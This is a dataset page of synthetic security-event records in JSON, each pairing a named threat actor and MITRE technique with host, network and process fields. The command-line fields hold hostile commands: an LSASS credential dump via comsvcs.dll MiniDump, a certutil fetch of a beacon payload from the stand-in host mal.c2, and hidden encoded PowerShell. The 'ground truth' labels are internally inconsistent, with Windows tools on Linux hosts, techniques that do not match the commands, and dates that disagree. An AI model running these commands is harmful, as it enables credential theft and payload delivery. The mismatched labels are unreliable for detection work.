Datasets:
AnodeAI
/
Elite_quality_cybersecurity

Dataset card Data Studio Files
xet
 Community
1
text
stringlengths
1.13k
1.33k
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Persistence","Privilege Escalation","Exfiltration"],"technique_id":"T1059.001"},"event_id":"evt_volttyphoon_20250122T060908000Z_0008801","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.124.155.180","name":"IAM-ROLE-UE6X39FLGE","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8801Volt TyphoonT1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.59.156.2","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2871 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-11-15T23:29:26.000Z","user":{"name":"svc_qd8i76am6ef4","sid":"S-1-5-21-693627533-426062667-2525"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Initial Access","Execution","Collection"],"technique_id":"T1566.001"},"event_id":"evt_volttyphoon_20250520T005747000Z_0008803","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.140.250.241","name":"WIN-FIN-SRV-3AZB3YIX5L","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8803Volt TyphoonT1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.29.122.122","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-10-06T17:09:50.000Z","user":{"name":"i-5bw99cq1lk0a","sid":"S-1-5-21-204935052-561190682-9607"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access","Execution"],"technique_id":"T1570"},"event_id":"evt_fin7_20251012T174902000Z_0008805","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.16.221.84","name":"WIN-FIN-SRV-NE83DCHIXM","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8805FIN7T1570"},"network":{"domain":"github.com","dst_ip":"1.107.17.228","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-08-27T20:20:58.000Z","user":{"name":"arn:aws:iam::fomll9bzrxxo","sid":"S-1-5-21-565293205-837343677-6383"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Exfiltration"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250904T154431000Z_0008807","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.84.235.171","name":"WIN-FIN-SRV-UTX6CIQH7Q","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8807Volt TyphoonT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.50.56.169","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-04-18T08:14:33.000Z","user":{"name":"azuread\\3l3jh32mw4px","sid":"S-1-5-21-616600681-573250895-7534"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Privilege Escalation","Reconnaissance","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_apt41_20260126T003046000Z_0008809","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.195.172.84","name":"APP-WEB-EGI9V6BRGG","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8809APT41T1003.001"},"network":{"domain":"github.com","dst_ip":"1.190.86.127","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-11T09:43:54.000Z","user":{"name":"arn:aws:iam::genu1wgqk2uw","sid":"S-1-5-21-659554344-455121702-3178"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Initial Access"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20260519T004848000Z_0008811","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.244.251.158","name":"AZURE-VM-BLPED56I51","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8811Lapsus$T1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.61.76.96","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-09-13T19:31:30.000Z","user":{"name":"i-kf69wwq7xzsv","sid":"S-1-5-21-214496309-765712124-8901"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Discovery","Privilege Escalation","Lateral Movement"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20261020T010241000Z_0008813","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.173.104.222","name":"EC2-INST-66H32499PD","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8813Volt TyphoonT1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.50.88.114","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2327 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-10-21T00:49:21.000Z","user":{"name":"CORP\\jthk5jzjmanq","sid":"S-1-5-21-560059436-223701163-2168"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_fin7_20250916T235152000Z_0008815","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.26.106.152","name":"APP-WEB-0D8FYCSTV2","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8815FIN7T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.105.205.115","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-03-22T13:58:16.000Z","user":{"name":"i-4bukz3cliqub","sid":"S-1-5-21-961767646-440588024-9954"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Privilege Escalation"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250517T201745000Z_0008817","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.233.195.242","name":"WIN-FIN-SRV-FXNYLW7A20","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8817Volt TyphoonT1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.122.217.105","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3026 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-11-13T01:08:41.000Z","user":{"name":"i-1ivo1wqdod9d","sid":"S-1-5-21-652110494-266261481-3871"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Privilege Escalation","Collection","Command and Control"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20251126T211322000Z_0008819","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.169.254.89","name":"EC2-INST-CRAC9RQ9UZ","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8819Lapsus$T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.158.35.190","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-10-09T18:52:46.000Z","user":{"name":"CORP\\6l6f8jluo937","sid":"S-1-5-21-122093988-855896626-2987"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Persistence"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20260509T074752000Z_0008821","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.58.230.46","name":"AZURE-VM-V1I3JKVRTD","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8821Scattered SpiderT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.57.226.232","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-02-22T22:39:24.000Z","user":{"name":"azuread\\0n2ew8zn9xbk","sid":"S-1-5-21-744629055-737684974-9645"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Credential Access"],"technique_id":"T1059.001"},"event_id":"evt_volttyphoon_20250625T003601000Z_0008823","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.157.60.247","name":"AZURE-VM-D8U20NX727","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8823Volt TyphoonT1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.59.222.113","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-02-10T19:55:36.000Z","user":{"name":"CORP\\0wfqp3ji8a86","sid":"S-1-5-21-336552287-527735303-9134"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Initial Access","Credential Access","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20260128T172044000Z_0008825","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.127.141.40","name":"IAM-ROLE-NYNDVYFZSP","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8825APT29T1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.16.173.235","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1974 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-30T14:47:17.000Z","user":{"name":"CORP\\c4txf9to6hwc","sid":"S-1-5-21-995073165-131487128-5821"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access","Impact","Credential Access"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20250819T215548000Z_0008827","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.171.234.158","name":"IAM-ROLE-8NN1SOD6T3","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8827Mustang PandaT1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.172.180.24","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-08-18T12:57:45.000Z","user":{"name":"CORP\\307x22he2d0h","sid":"S-1-5-21-267940843-228681951-9388"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Privilege Escalation","Command and Control","Reconnaissance"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20260119T061036000Z_0008829","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.187.164.241","name":"APP-WEB-SBWH1Z7L4R","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8829Scattered SpiderT1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.162.32.251","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-01-17T16:09:43.000Z","user":{"name":"i-urm313gpjt88","sid":"S-1-5-21-317770862-610025575-8056"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20261221T000020000Z_0008831","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.35.131.45","name":"WIN-FIN-SRV-T53O75KKEX","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8831Lapsus$T1071.001"},"network":{"domain":"github.com","dst_ip":"1.77.46.94","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2716 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-09-30T10:25:50.000Z","user":{"name":"arn:aws:iam::633ztmpmkndf","sid":"S-1-5-21-431941703-695757001-9934"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery"],"technique_id":"T1566.001"},"event_id":"evt_fin7_20250429T000904000Z_0008833","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.7.223.218","name":"IAM-ROLE-J9QSB14CW3","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8833FIN7T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.40.107.161","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-08-30T15:10:18.000Z","user":{"name":"azuread\\2gvn4v8rvp6c","sid":"S-1-5-21-816887960-596550199-1464"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Impact","Reconnaissance"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20260422T233450000Z_0008835","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.94.158.252","name":"WIN-FIN-SRV-YQ4WU99QQN","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8835Scattered SpiderT1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.19.150.112","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-01-17T23:09:48.000Z","user":{"name":"arn:aws:iam::173i2936e1he","sid":"S-1-5-21-157290825-117977302-8040"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Discovery","Lateral Movement","Collection"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20260726T230130000Z_0008837","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.11.178.108","name":"AZURE-VM-ZATM838RAY","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8837Scattered SpiderT1531"},"network":{"domain":"github.com","dst_ip":"1.34.96.35","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-11-28T04:22:09.000Z","user":{"name":"i-lsc2zslauh0x","sid":"S-1-5-21-849574545-938163811-3982"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Command and Control","Lateral Movement","Privilege Escalation"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20250222T161649000Z_0008839","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.69.164.244","name":"AZURE-VM-MP0EGU3K92","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8839UNC4841T1566.001"},"network":{"domain":"github.com","dst_ip":"1.89.118.172","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-09-07T10:58:39.000Z","user":{"name":"svc_w4263jhc5pjb","sid":"S-1-5-21-654081444-719866874-3352"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Initial Access","Impact","Credential Access"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20250717T133612000Z_0008841","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.245.101.51","name":"APP-WEB-GCSFHQNQ86","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8841Mustang PandaT1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.187.198.71","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-06-07T23:32:01.000Z","user":{"name":"svc_elqnf1kbb1ki","sid":"S-1-5-21-493763606-654369687-3139"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Credential Access"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20260212T141111000Z_0008843","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.136.205.128","name":"AZURE-VM-2RWCFZ990O","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8843Volt TyphoonT1003.001"},"network":{"domain":"github.com","dst_ip":"1.131.247.36","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2192 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-06-15T06:08:28.000Z","user":{"name":"arn:aws:iam::ohab0os2788c","sid":"S-1-5-21-822468676-733744001-3208"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20261214T162242000Z_0008845","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.34.156.242","name":"DB-ORACLE-SKYCVXPAH2","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8845Scattered SpiderT1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.138.133.131","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2936 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-09-05T15:13:53.000Z","user":{"name":"azuread\\zwqfejtmd5of","sid":"S-1-5-21-589557162-267665209-2339"}}
